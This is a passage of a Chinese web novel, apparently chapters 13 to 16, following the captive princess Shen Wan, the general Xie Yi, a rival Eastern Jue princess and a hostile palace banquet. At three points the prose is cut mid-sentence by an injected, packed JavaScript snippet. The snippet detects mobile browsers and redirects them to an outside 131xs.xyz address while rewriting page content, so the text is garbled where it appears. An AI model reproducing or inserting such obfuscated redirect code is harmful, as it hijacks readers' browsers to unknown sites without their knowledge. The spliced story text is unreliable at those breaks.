沈绾被她的直率感染,浅笑:“你既说他是单相思,那便应该知道,他的心思也许全在我身上,即便这样你也不介意?我虽不喜欢他,可眼下处境艰难,我若是有意利用以图自保,让他越陷越深,你该当如何?” “这……”乌兰朵语塞,迟疑道:“你会吗?” “也许吧。”沈绾挑眉。 “那……那就只有各凭本事了!” ** 次日,街头巷陌间传了件新闻,众人都在窃窃私议,向来威风凛凛的东厥小王子,竟摇身一变成了女娇娥。 东厥王一大清早便正装入宫,当面向耶齐格和谢翊提起了婚事。 这日午后,沈绾将藤椅搬在院子里,边晒太阳边做针线活。 今日阳光极好,洒在身上暖洋洋的,倒让人生出几分春日的错觉。玉指捻线穿针,照着纹样在布料上绣着。她其实不太会做女红,以前养尊处优,根本用不着学这些,如今境遇不同,谢翊将她养在将军府,本就惹人非议,她总得给自己找些事做。 “你说那乌图王子、不对,是公主,人家随咱们将军出生入死,现在战场兄弟成了议亲对象,话本子都不敢这么写!” “要我说,那东厥公主和咱们将军,真是天造地设的一对。” “哎,可咱们府里这位……怎么办?” “还能怎么办?她一个亡国公主,现在不过是将军身边的女奴,她的身份还不如咱们呢!将军一时新鲜,让她死乞白赖住在府里,到时候有了新夫人,她只能靠边站。” “可我看将军对她非同一般呐。” “男人嘛,都是喜新厌……” 两名女婢在廊下聊得热火朝天,忽觉一阵寒意袭来,猛地抬眼,那女婢险些咬了自己舌头。 “将、将军……” 谢翊阴沉着脸,仿佛能滴出墨,周身上下似是笼罩着万年寒冰,冻得人头皮发麻。 “杖责二十,逐府。” 男人声线森寒,一旁将士丝毫不敢怠慢,忙点头应是。 墨袍拂过冰冷台阶,谢翊转过回廊步入院中,见沈绾正神情专注扯着绣线。 “手这样凉,怎么不进屋歇着?”温热的大掌覆上玉手,沈绾一顿。 “将军回来了。”她抬眸浅浅一笑,“天越发冷了,妾身闲来无事,想着给将军绣件棉衣,可这绣工着实上不了台面,今日得空想做个荷包练练手,将军看看怎么样?” 她献宝似的将绣绷抬起,谢翊略一垂眸,见上面是一只四脚兽,除了尾巴还未完工,其余部分都已经完成。 “嗯,”他淡淡点头,“这野狼我很是喜欢。” “……”沈绾艰涩开口:“这是……麒麟。” 谢翊闻言俊眉微蹙,又瞧了片刻才认真评价道:“也很好。” 沈绾察觉出他情绪低落,无意再和他谈论野狼和麒麟的区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599243|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别,“将军有心事?” 谢翊牵过沈绾走入屋内,因知晓她体弱怕寒,他特意命人在房间摆了件玉瓷鎏金熏笼,里面早早烧了红罗炭,这时节既好看保暖效果又极好。 曾经沈绾的寝殿,也有一个这样的熏笼。 谢翊走上前,握住沈绾微凉的手一同烤火取暖。 室内静谧,唯有炭火偶尔发出噼啪声。见谢翊不说话,沈绾从一旁递了杯热茶,低眉顺目道:“妾身斗胆猜猜,可是为了今日东厥王提亲一事?” 谢翊眼皮一顿,并未感到意外,“你也听说了。” “此乃佳话,拓摩与东厥本就有姻亲,若加上这桩亲事,岂不是喜上加喜?” 谢翊捏着茶碗的手一滞,“佳话?” 沈绾连忙解释:“大汗向来看重将军,如今大靖江山未稳,拉拢各方势力来巩固政权百利而无一害,况且东厥公主武艺超群、聪慧貌美,将军娶她进府既可与东厥结秦晋之好,又可得一佳人,岂不两全其美?” 沈绾这番话早已在心中演绎了好几遍,她摸不准谢翊对此事到底是什么态度,只好拿话来试上一试,况且她说得这般情理并重,他应该挑不出她什么错。 “呵,你还真是体贴。”谢翊唇边发出一声轻嗤,“我竟不知你何时对新朝政事这般上心?” “妾身也是一心为将军考虑。”沈绾故作委屈。 谢翊瞥她一眼,面色紧绷:“你说的对,乌兰朵确实有她的过人之处,我若是娶了她,当真是利大于弊。可那时,你又该如何自处?” 男人目光锐利,似乎能一眼看穿对方。 “将军说笑了。”沈绾不动声色敛去心神,欠身为礼,施施然道:“将军与公主佳偶天成,沈绾望尘莫及。” 房中一时静得落针可闻。 谢翊一双幽眸一动不动落在沈绾身上,似是化不开的墨,愈发深邃。 “你说的是真的?”再开口,男人声音已低哑许多,他刚刚才发现,自己其实并不能完全看透沈绾。 她太狡猾,也太狠心,明确知道怎么做才能戳到他的弱点。 也许感情这东西就是这样没有道理可言,愈是付出许多,愈是小心翼翼;愈是在意,就愈是不敢妄言。 他变得患得患失,彷徨无措,生怕一朝猜错,自己便会粉身碎骨。 “将军这样问,是想听妾身的感受?”沈绾柔声低语,知晓时机已到,悄然换了副娇容。 她在试探,当初谢翊说会帮她,她听得半信半疑。他也许对自己有意,可却不知这份情意到底价值几何?更加不知道他会为了自己做到什么地步。 在未与这把刀完全磨合成功之前,她总得多下些功夫。 “将军对妾身情深意重,妾身铭记于心,愿以终身报答将军,可我总得为将军的未来打算。”沈绾柳眉低垂,朱唇微抿:“我自知身份低微,早已配不上将军,可将军难道会这样守着妾身,一辈子不娶新妇吗?” 幽眸闪过微光,谢翊这才发现眼前这只小狐狸露出了尾巴。 沈绾越说越委屈,几颗晶莹泪珠滑过脸颊落在掌心。 谢翊无奈幽叹,抬掌替她抹了抹眼角,轻柔耳语:“你怎知,这辈子我不能只有一个你?” 字字句句落在耳边,像是许诺某种誓言。 沈绾心头某根弦莫名动了一下,但只是一瞬,便被她心底的理智掩去。 她倚上谢翊肩膀,小猫般在怀里蹭了蹭,状似撒娇:“只要将军心里有我,妾身便心满意足了。” 谢翊抬臂揽上纤腰,薄唇微弯,似是看穿一切:“你何苦动这些心思?” 他轻挑下巴,将人从怀中勾起,低沉的声线虽冷可却含着止不住的笑意。 沈绾身子暗暗一僵,无辜地眨了眨羽睫,“将军说什么,妾身不明白。” 谢翊好整以暇望着着她,低叹:“我才是那个害怕失去一切的人,所以你从来不需要费什么心思,我便会义无反顾地奔向你。” 14. 第十四章 念奴娇 深邃的眼睛里是化不开的深情,沈绾听得一怔,心间那根弦似乎跳得更乱了,但极度的冷静占据上风,她很快整理好心绪。 看来她赌对了,谢翊这把刀果真很合适。 转眼已是冬至,宫里越到节下宴会越多,襄吉皇后这日下令宴请各府女眷,沈绾身份低微,本不在邀请行列,可不知怎的,皇后特下谕令,点名邀沈绾赴宴。 宫中景致依旧,一幕幕落在眼底,仿若昨昔。 不知是有意还是无意,女眷宴席设在太液池旁,那附近便是沈绾曾经的寝宫。 “这不是咱们的昭宁帝姬吗?”凌娩一身华服,迤逦走来。 自打拓摩一族入了中原,尽管表面打压胤人,可他们还是多少受到中原文化的影响,饮食服饰渐渐朝胤人靠拢。 凌娩头梳流云髻,耳簪时兴宫花,身上的夹袄倒是拓摩样式,只是下面裙裾缀了香云纱,走起路来多了几分胤人女子的灵动飘逸。 “见过珂吉贵妃。”沈绾屈膝行礼,礼节极为周到。 因为耶齐格的宠爱,凌娩入宫便封了贵妃,拓汗的侧妃不止她一个,可封为贵妃的,她还是第一个。 “帝姬自小在宫中长大,礼节方面果然让人捏不出错。”凌娩抬起下巴睨了她一眼,“只是故地重游,不知帝姬作何感想?” 沈绾低眉浅笑,“故地重游自是感慨良多,只是不如贵妃娘娘您,心无旁骛做着一朝贵妃的美梦,但愿娘娘福泽深厚,美梦常在。” “你……”凌娩正要发作,忽听身后传来一道女音:“这位便是烈将军府上的沈姑娘了?” 二人回头,见来人头戴金冠,身着掐丝锦袍,衣料纹样虽简单,却处处透着威严。 “参见皇后娘娘,娘娘万福。”沈绾虽没见过这位襄吉皇后,可这身服饰站在众人面前,典雅高贵,只一眼便能认出。 “果真是个美人胚子。”襄吉皇后不着痕迹打量了眼沈绾,眉眼温和:“宴席快开始了,诸位请入座吧。” 余光扫过凌娩,后者见状,只好悻悻低头作罢。 沈绾的位置在最末位,蓦然抬眼,竟瞧见沈葭坐在另一侧,她的气色看上去好了不少,一身青玉小袄越发衬出她气质温婉。 看来那个叫代鄯的人把她照顾得还不错。 沈绾本想上前,可礼乐声响起,众人依次入座,她不好惹眼,只得又坐回去。开场无非是一些常规的歌舞表演,只是结合了拓摩小调和中原音乐,倒显得别开生面。 “娘娘。”宴过半场,一旁的掌事嬷嬷走上前,伏身耳语:“您今日吃药的时辰到了。” 皇后接过药碗,蹙眉一饮而尽,兀自叹道:“这医师开的方子未免太苦了些。”她取出帕子拭了拭嘴角,抬眼望向一侧:“沈葭姑娘,上次本宫头疾发作,你给本宫按跷推拿了半日,本宫觉得很是受用。” 众人沿着视线望去,见沈葭摸索起身,朝上方盈盈一拜,恭敬道:“奴婢雕虫小技,娘娘不嫌弃就好。” “本宫常发头疾,沈葭姑娘既然习得按跷之术,那不如就留在本宫身边,也可常缓本宫头疾之苦。” 此言一出,旁人倒没觉出什么,沈绾反而一凛。 这位襄吉皇后看着慈眉善目,可言语间满是试探,好端端的怎会提议要三姐姐做侍女? 她记得,这位皇后是乌兰朵的长姐。三姐姐性子柔婉,身子又弱,皇后要她留在身边,难道是为了拿捏自己? 正想着,只听沈葭道:“奴婢才疏学浅,又身患眼疾,怕是会冲撞娘娘。若是娘娘日后需要召见,奴婢可随时进宫为娘娘解忧。” “大胆!”一旁掌事嬷嬷大声喝道:“你可知道自己是什么身份,也敢这样顶撞娘娘?要知道,奴婢就是奴婢,怎能违逆主子?你可要时刻记着自己的身份。” 嬷嬷的斥责暂停了场中歌舞,众人一时不敢噤声。 明明未提及自己一字,可沈绾还是清楚意识到,这字字句句分明是在说给自己听! 这是要她安分守己,莫要奢想与那位乌兰朵公主一较高下? 后宫女子的心思,果然不分地域朝代,都是一样的。 “是啊。”凌娩见状,也开始帮腔:“一介女奴,有幸得了皇后娘娘青睐,竟还摆起了架子,真是闻所未闻。” “娘娘,奴婢不是这个意思……”沈葭惶然。 “本宫知道沈葭姑娘并无不敬之心,”皇后面色肃然,抬手止了嬷嬷,“本宫也是一番好意,你跟在本宫身边,自然不会亏待你。 沈绾姑娘,你说是不是?” 凤眸锐利,直扫向另一侧。这是露出了矛头真正指向的位置。 沈葭局促立于一侧,在听到沈绾的名字后,神情一顿。 “皇后娘娘——”沈绾刚要开口,忽见一宫娥匆匆上前禀报:“娘娘,丞相大人求见!” 皇后面色一凛,“让他进来。” 来人一身官袍,步伐从容,温润的眉眼时含笑意,正是代鄯。 自从大靖立朝以来,耶齐格对他百般赞赏,国事上也多有倚靠,故而钦封丞相,荣宠加身,襄吉皇后自是不敢轻怠。 “微臣参见皇后娘娘。”代鄯于座下恭肃行礼,“今早皇后娘娘亲赏了一台佳砚,微臣很是喜欢,晚间随陛下在春晖阁下棋,听闻娘娘于此设宴,这才得了恩准特来谢恩!” “丞相来的正好。”皇后敛去肃容,和悦道:“上回本宫突发头疾,幸而丞相携沈葭姑娘在场,才解了本宫一时之症。听闻沈葭是丞相府中一名女奴,今日本宫有心将她留在身边做侍疾女官,想来丞相应该不会反对吧?” 代鄯闻言,徐徐伏身为礼,方才开口:“微臣府中之人能得娘娘赏识,实感荣幸。只是……” “只是什么?”皇后弯眉和目,料想对方定然不会有什么异议。 代鄯微微一顿,诚然道:“只是微臣近来时患失眠之症,致使神思恍惚,心虑焦灼,好在沈葭懂一点药香之术,这才使得臣每日御前奏对不出纰漏,所以微臣身边暂时还离不开她,请娘娘见谅!” “这……”皇后顿感意外,没想到原本胸有成竹的事会在代鄯这里碰壁。 转念一想,她提此要求仅是出于私心,本就是宫闱小事,可代鄯如今是朝廷的肱骨之臣,若是为此扰他清眠,坏了前朝大事,传到耶齐格那里,才真是得不偿失。 “既如此,本宫也不好夺人所爱,此事……便罢了吧。”皇后强忍下不甘,面上仍是一副温和可亲的模样。 “微臣多谢娘娘体恤。” 代鄯叩谢离开,皇后也顿时没了兴致,宴席很快草草结束,沈绾趁着众人离场,几步上前拉住沈葭:“三姐姐!” “阿鸾?”熟悉的声音传来,沈葭空洞的眼珠微微一动,眉梢染上喜色:“你还好吗?离开这么久,我一直很担心你。” “我很好,三姐姐,只是……”沈绾反握住她的手,重逢的喜悦还未持续多久,随即被忧色代替。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599244|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她欲言又止,自己到底该怎样开口,说出亲手杀了晋王的事实…… 沈葭敏锐察觉到她的迟疑,会心一笑:“有些事,你不用感到抱歉。我说过的,你想做什么,就放心大胆地去做,我是你姐姐,永远都会站在你这一边。” “嗯!”沈绾用力点头。 二人正说着,忽见先前那位掌事嬷嬷擦肩而过。 “二位姑娘,不要以为得了贵人庇护,就能高枕无忧,将来的事还说不准呢!”低沉冷硬的声音落入耳间,继而转向沈绾,“娘娘今晚赐宴一来是想亲眼见见沈姑娘,二来是想告诫一声,如今已是今非昔比,望姑娘不要再心存妄念,去动那些不该有的心思,心性太高,小心会摔得粉身碎骨。” 沈绾闻言浓睫低垂,淡然一伏,“是,谨记娘娘教诲。” ** 二人携手出了宫门,远远瞧见两辆马车早早候在宫门口。 寒雾蒙蒙,两个颀长的身影分别立在马车旁,一侧的小厮早已被冻得搓手跺脚,可这二人倒是一派矜贵自持。 “可算出来了。”代鄯仍旧是一副春风和煦的模样,“时辰不早了,咱们该回去了。”说着,极为自然地牵过沈葭。 “哎,三姐姐!”沈绾莫名一愣,连忙将沈葭拉住,一脸警惕地看向代鄯,“丞相大人,男女授受不亲,你这是做什么?” 代鄯哑然一笑:“小殿下,你和你的将军尚且不论男女大防,怎的到我这就要论了?” “你……”沈绾被他的无赖调侃气得语塞,“我三姐姐才不……” “好了,”谢翊从一旁揽过沈绾,低哄道,“我们也该回去了。” “可是三姐姐她……”沈绾放心不下,漂亮的杏眼骤然一亮,“将军,能否让三姐姐随我回去小住几日?” “哎哎哎,这可不行啊。”代鄯立马跳脚,果断将沈葭护在身后,“阿烈,你可不能重色轻友,我这失眠症好不容易有了好转,断了我的药源,明日早朝你就要帮我跟陛下告假了。” “药源?”沈绾懵然,难不成他方才在皇后面前说的都是真的?“你失眠,跟我三姐姐有什么关系?” 她虽然知道沈葭略通一点药理,可什么药非得她本人亲自在场? 沈葭双手向前摸索着,无奈拍了拍代鄯挡在身前的手臂,秀美的小脸不知何时飞上一抹红霞,“你少混说!” “我怎么混说了?”代鄯笑得清风朗月,“这也是机缘巧合,我这失眠症已有多年,谁知你身上……唔……” 代鄯话未说完,便被沈葭死死捂住了嘴,“再混说,今晚没得商量!” “哦。”代鄯像个失去奖励的孩子,立马乖乖闭嘴。 沈葭声线本就清柔,这句警告听上去似嗔非嗔,更添了几分暧昧。沈绾见他们二人气氛莫名和谐,心中感到惊奇。 “你们……” “我们什么都没有!”沈葭急忙否认,反倒有此地无银三百两的意味,“阿鸾,日后有机会再向你解释,不过真的不是你想的那样……” “他们的事用不着我们操心。”谢翊给代鄯递了个眼神,半拥半抱将沈绾拉上马车,“我们先回家。” “哎……”沈绾一步三回头,车帘刚放下,驾车小厮随即扬起马鞭,滚滚车轮稳步向前驶去。 “将军你拉我干嘛,我还没……”沈绾一头雾水,刚要质问,唇瓣蓦地贴上一阵温热,“唔……” 杏眼圆瞪,他、他怎么又吻她? 15. 第十五章 风满楼 大掌温柔托起她的后颈,指腹在耳后勾缠摩挲,沈绾再次乱了呼吸。 湿热的舌尖先是在唇缝吮舔试探,待她不慎轻启檀口,他便毫不犹豫钻了进去,攻城略地。 耳畔车辙辘辘,伴着男人的低沉粗喘,沈绾脑袋变得晕晕乎乎,难以思考。 这男人的吻技简直进步神速,相较之下,她逊色极了。 不知不觉,那股湿热滑过唇角、脸颊、耳珠,堪堪落在颈侧,恣意辗转啃咬。 “唔……”电流酥酥麻麻窜过脊背,因顾着外面驾车小厮,她竭力抑住声音。 这男人属狗的?怎么这么爱咬她? “阿鸾,我好想你。” 磁性喑哑的声音钻入耳蜗,沈绾心头一颤,小声咕哝:“今早不是才见过嘛?” “嗯。”谢翊埋在她颈窝,低笑:“一日不见如隔三秋,我们半日未见,怎么算也有个一年半载。” “……” “今晚的事你都知道了?”沈绾定下心神,蹙眉追问:“那个代鄯,是你让他来的?” “阿鸾果真冰雪聪明。”谢翊坐起身,把她往怀里揽了揽,“你放心,你那三姐姐不会有事,代鄯那家伙虽然油嘴滑舌,但人并不坏。” “倒是你,你早知道这是场鸿门宴,为什么还要去?”谢翊神色担忧,“我今早便说过,即便是皇后懿旨,我也可……” “我不能叫你为难。”不知是虚情还是假意,沈绾眼神定定,认真解释:“你如今身居高位,明面上多少人奉承,暗地里就有多少人虎视眈眈,越是如此处境就越是要如履薄冰,怎可因为我屡屡违抗圣命?” “况且,咱们要有长远打算,我也总不能事事依靠你……”少女的面容掩在阴影里,半明半暗,或许是这样昏暗幽闭的环境,她一时松懈,兀自喃喃出声:“总有一天,我是要……” 谢翊的眼睛暗得发亮,将人搂得更紧,轻柔在她额头落下一吻:“阿鸾,其实你可以试着依靠我,你也许不知道,我愿意为你做的远远不止这些。” 如履薄冰如何?违抗圣命又如何?若是她愿意,他甘愿做她身边的一条狗,只要她不拒绝他就好。 沈绾水眸眨了眨,灵动一笑:“将军这么紧张做什么,妾身的意思……” 长指抵住红唇,谢翊皱眉:“以后在我面前,不许再自称‘妾身’,在我这,你永远不会是妾。” “……哦。”沈绾被他这突如其来的要求弄得哭笑不得,只得换了称谓继续道:“我是说,今晚虽然知道这宴无好宴,可如果真的不来,就一直弄不清楚对方目的,自己也会陷入被动,所谓知己知彼,百战不殆。” “那你弄清楚了?” “还不都是因为你。”说到这,沈绾眉头微蹙,有意轻嗔:“皇后一心为了自家妹妹姻缘,这才有意拿三姐姐试探,要我说,将军不如早早娶了那位东厥公主,也省得夜长梦多。” 话音刚落,沈绾立刻意识到男人的脸色沉了下来,连忙认怂:“将军别生气,我开玩笑的。” 男人下颌紧绷,面上似有化不开的墨,久久没有说话。 沈绾坐立不安,过了半晌,只听男人低低道:“那你哄哄我。” “……”沈绾一时语结,他怎么跟个孩子似的,这该怎么哄? 纠结片刻,沈绾小心翼翼抬起手在谢翊额发上抚了抚,柔声道:“乖了,不生气了好不好?” 这摸头的动作,跟哄一只狗子并无区别。 “……” 谢翊眼底倏然窜起一团火苗,炙热灼烈,沈绾吓得连忙道歉:“对不起将军,我、我不太会哄人。” 谁知谢翊只紧紧盯着她,那眼神似是要将她拆分入腹。沈绾心脏砰砰直跳,这男人阴晴不定,她刚才的举动是不是太冒犯了? 刚要开口,下一瞬,谢翊竟拉起她的手像先前那样覆在额头,低着脑袋蹭了蹭,似乎极为享受。 “你……” “以后,这个动作只准对我一个人做。”男人似是下命令般哑声开口。 沈绾瞬间心领神会,原来这狗男人喜欢这一套。 “好。”她眉眼弯弯,灿若春花,“现在将军不生气了吧?” 谢翊顿了顿,凑上前沉声道:“还差一步。” “什么?” 薄唇再次压下,顷刻夺去她所有呼吸。 “将军——”车轮行了半日终于停下,驾车小厮恭声在外提醒:“到府上了。” “唔……到、到了……”沈绾强撑着推开身上男人,娇喘微微,“我、我先下去了。” 看着落荒而逃的身影,谢翊不觉勾了勾唇。 当晚沈绾本想睡个好觉,可谢翊竟像个尾巴似的跟进了她房间。他平时若有公务,都歇在自己房间,今日倒是格外黏人。 “将军今日有心事?”沈绾服侍谢翊脱下外袍,打来热水擦脸。 谢翊将热气腾腾的棉巾捂在脸上,再取下,嘴角已噙着一抹淡淡笑意:“你怎么知道?” 沈绾将冠服在衣架上铺平,边打理边道:“将军每回遇到烦心事,左侧眉头都会不自觉下压,虽然不是很明显,但时间久了只要留心,就能发现。” 谢翊感到不可思议,转身朝铜镜看了两眼,他自问平日喜怒不形于色,也只有和沈绾在一起时才松懈许多,可她在他身边不到两个月,怎会这般留心这等唯有天长日久才能发现的细节? 难道说…… 脑中灵光一闪,他怎么忘了!他们之间的相处何止两个月?还有那朝朝暮暮、日夜相对的三年。 眼底微光化作柔情,他蓦地从身后将人抱住。 “怎么了?”沈绾手中动作一滞。 谢翊只静静拥着她,好半晌才说道:“我可能要离京一段日子。” “怎么这么突然?”沈绾侧过头,目露讶异。 “南部残军煽动匪寇作乱,大有北上之势,皇上命我前去镇压。” 谢翊简要解释,这种涉及到两族厮杀的事,他不想跟沈绾谈论太多,毕竟那些都是大胤子民。 “多久回来?”沈绾面色淡淡,并未感到意外。 如今的拓摩虽自立国号,可只不过占据了大胤的一半江山,传国玉玺尚且在外,南部也有大片中原残军,局势并不明朗。谢翊身为国朝将军,自然需要时刻面对战事。 “快则半月,慢则一月。” “嗯。”沈绾点头,“何时出发?” “明日一早。” “那……我为将军收拾行装。” “阿鸾……”谢翊拉住她转身欲离的手,嘴唇翕动几下,欲言又止,“我不在的时候,记得照顾好自己。” 沈绾仰起头,浅浅一笑:“将军何时变得这般唠叨?我好好待在府里,等将军回来过年可好?” 是啊,还有一个月就是新年。 “好。”谢翊眼神幽邃,将她的手握紧。 说来奇怪,这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599245|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出征本也不是什么大的战事,可他心头总隐隐觉得不安。 但愿,是他杞人忧天。 ** 景康宫内,明烛高照,暖香袅袅。 襄吉皇后倚在玉榻上,含笑看着一旁少女剥着金桔。 “阿姐,你就不要为我的婚事操心了,我看中的男人自己会努力争取,用不着旁人帮忙。” 乌兰朵一身红妆,明艳娇俏,将手中剥好的金桔递了一瓣过去。 襄吉皇后目露慈爱,“你年纪还小,不懂得男人心思,烈将军府中那位姑娘可不是一般人物,你可得上点心。” “知道,知道。”乌兰朵心不在焉地应着。 “这次南下,你也是和烈将军一起?” “是啊。”乌兰朵口中嚼着桔肉,不甚在意道:“父王说这次南征是立功的好机会,陛下也同意了。” “那就好。”皇后欣慰道:“父王膝下无男儿,将来东厥一族只能靠你我姐妹,我困于深宫力量有限,你这些年在外为族人拼杀,战功显赫,将来定是东厥唯一的继承者,若是再能得个烈将军那样出色的夫婿,我和父王也算彻底安下心。” “好了,阿姐。”乌兰朵靠着在襄吉皇后肩上,撒娇道:“您可别再啰嗦了,我耳朵都出茧子了。” “真出茧子就好了。”皇后戳了戳她脑袋,温声叮嘱:“在外万事小心,记得多和烈将军培养感情,我们东厥公主,可不能让那个中原女子比下去。” ** 次日天微明,大军整装待发。 城楼上烈风呼啸,沈绾紧了紧肩上斗篷,望着城下黑压压的铁甲士兵出神。 视线里一抹朱红身影正侧头和谢翊说着什么,巧笑嫣然。 “不必担心,阿烈那小子是个认死扣的。”代鄯一身月白常服,在沈绾身后悠悠道,“只是可惜了这位小公主,在阿烈这块硬石头上白费心思。” 沈绾眸色平静,似乎并未在意城下看起来极为登对的二人。 “丞相大人,”沈绾将视线移开,转而落在代鄯身上,“听闻你曾经拜师荀山,师从明景崇老先生?” 代鄯一愣,没想到沈绾会突然谈起这个话题。 “正是。” “荀山地处东南,也不知他老人家如今可还安好?”沈绾声音极轻,目光却犀利,“如果他知道自己亲手教出的学生用其所学,亡了大胤,不知会作何感想?” “恩师闲云野鹤,除了每年定期授业,其余时间皆不在荀山。”代鄯顿了顿,神色肃然,“至于当今局势,皆是各为其主,即便会让恩师怪罪,我也不后悔。” 沈绾嗤笑一声,兀自喃喃:“好一个各为其主。” 号角声起,大军正式开拔。 “阿烈这一去,你似乎并不关心?”代鄯望着远去的将士,缓缓开口。 “将军骁勇,自会凯旋。”沈绾面无波澜。 代鄯盯了她半晌,忽而摇头叹道:“阿烈这个傻子,掏心掏肺对一个人,可老天就是爱开玩笑,无论他付出多少,却始终换不来半颗真心。” 见沈绾沉默,代鄯转身感慨:“我知道你心中那道坎,用民间话本子里的词来说,你和阿烈这叫……孽缘?” 沈绾羽睫一动。 代鄯哂笑:“阿烈率拓摩一族亡了大胤不假,可你只看到眼前惨象,殊不知大胤国运已尽,即便没有拓摩,也会有其他势力取而代之。况且……他的父母族亲正是死于胤人刀下。” 16. 第十六章 乍惊雷 沈绾瞳仁微微一缩,露出一丝诧异。 “阿烈的姓氏原本不叫‘耶齐’……”代鄯眯起眼,回忆起往事,“当年大胤国力强盛,胤军曾大肆屠杀拓摩族人,他父亲当时身为一族将士,为护家园不幸战死,母亲后来也受尽凌辱,惨死在胤人刀下,那年他才十五岁。时任拓汗感念他双亲忠烈,便赐他族姓,这才有了耶齐烈这个名字。 相比我们,他比任何人都痛恨大胤。后来一场恶战,他不慎被胤人掳去,过了三年俘虏生涯,等他回来时,竟带着满身伤痕。你猜猜,这些伤痕到底是谁带给他的?” 代鄯字字诘问,重重擂在沈绾心头。 她蓦然想起谢翊脊背的那些伤疤,过去三年,他过的到底是怎样的日子? “说起来,阿烈真是个怪人,明明经历过这些,却还是无可救药地喜欢你。终究,有他的苦果吃……” 城楼上风势渐大,代鄯的话刚一出口,便随着寒风消散飘远。 ** 天际不知何时堆起了乌云,隆隆几声闷雷,竟是下起了寒雨。 沈绾在城楼上吹了半日风,当晚一回府便感到头昏脑胀。她曾经在边境发过几回烧,已是久病成医。 好在谢翊平日因担心她的身子,提前置了间药室,里面各色日常药材大都齐备,她依稀记得老军医曾经开的方子,到药室抓了几味药煎好服下,这才感到身子微微出了些虚汗,索性早早回到房间休息。 淅淅沥沥的雨声透过窗棂传来,在这萧寒的冬日里越发寂冷。 意识朦胧间,一阵突兀的敲门声响起,沈绾迷迷糊糊睁开眼,随手扯过小袄披在身上,下床开门。 门外是府里一名打杂的丫鬟,生得很是喜巧,此刻那双圆润的眼睛里却满是凝重:“沈姑娘,宫里传来旨意,要您即刻入宫面圣。” “可说是因为何事?” “不清楚,”丫鬟摇头,“来传旨的公公带了几名侍卫,那架势看着有些吓人。” 沈绾凝神思量片刻,温声道:“无妨,我现在身子不大好,可能要麻烦你帮我梳洗一下。” “嗯嗯。”丫鬟连忙点头,她本就得了谢翊指示服侍沈绾,可这位沈姑娘凡事亲力亲为,半分没有使唤她的意思,眼下她好不容易开口,她自然连忙应下。 风雨凄凄,宫灯晦暗。 穿堂冷风沿着回廊掀起斗篷一角,携来雨夜寒意。 沈绾裹紧肩上斗篷,随着传旨公公一路走着,很快来到一处宫殿,沈绾记得,这是耶齐格处理政务的地方。 殿门外立着两名带刀侍卫,面色冷得如暗夜阎罗,在这湿寒的雨夜里越发骇人。 “姑娘,请吧。” 公公阴冷一笑,抬手一推,眼前殿门“吱呀”一声,沈绾卸下斗篷,提起微湿的裙摆缓缓走进。 室内光线昏暗,虽燃着炭盆,却觉不出几分暖意。 压抑的气息从四面八方袭来,凭着余光,她意识到御座上方坐着一人,看那轮廓,想来是耶齐格无疑。 “奴婢沈绾拜见陛下。”她屏住呼吸,俯身跪地行礼。 良久,无人应答。 可沈绾明确意识到上方落下的眼神仿若锋利刀刃,一刀刀全都割在她身上。 “起来回话。”耶齐格声音威沉,听不出情绪。 “谢陛下。”沈绾半支身子,正欲站起,眼前一阵晕眩,她连忙用手撑地,勉强没有失态。 稍微缓了片刻,她才轻提裙裾恭敬立于座下。 “好一个大胤帝姬。”耶齐格半张脸掩在暗影里,冷嗤出声,“朕竟不知你有这么大的手段。” 这番话意味不明,沈绾双手交覆握于身前,沉然道:“恕奴婢愚钝,不知陛下所言何意?” 自从回了京都,除了斩杀晋王一事,她一直安分守己,就算有些筹谋想法,都还未来得及付诸行动,不知哪里惊动了这位陛下? 耶齐格见她气度自若,大有泰山崩于前而不改色之势,越发来了兴致。 “当初在蓟州见你,朕就觉得奇怪,阿烈说你思念故土,就一直把你带在身边,朕也没有多想,可如今朕想听你亲口说一说,你到底是如何到的蓟州城?” 沈绾眼角一跳,竭力稳住声音,淡然道:“回陛下,奴婢一直以来蒙将军垂怜,当时正是因为将军怜惜奴婢,才将奴婢乔装打扮带于左右,奴婢跟将军寸步不离,自然是和他一同到的蓟州。” “哦,是吗?”耶齐格鹰眸半眯,射出一道寒光,“可是朕听说,当日你手持将军令牌,独自驾马出逃,是阿烈把你找回来的?” “陛下圣明,”沈绾屈膝跪地,语气诚恳:“当初奴婢第一次随将军出征,见战事艰难,一心担忧将军安危,便想着若能探查其他线路解一时之困也是好的。可谁知走到半路,竟遇到定北军探子,被其挟持。陛下也知道,他们都是谁的部下,对方一心想置奴婢于死地,若不是将军及时赶到,奴婢早就……” 沈绾说着悲上心头,泫然欲泣。这番说辞与当初对谢翊说的相差无几,也最能说得过去。 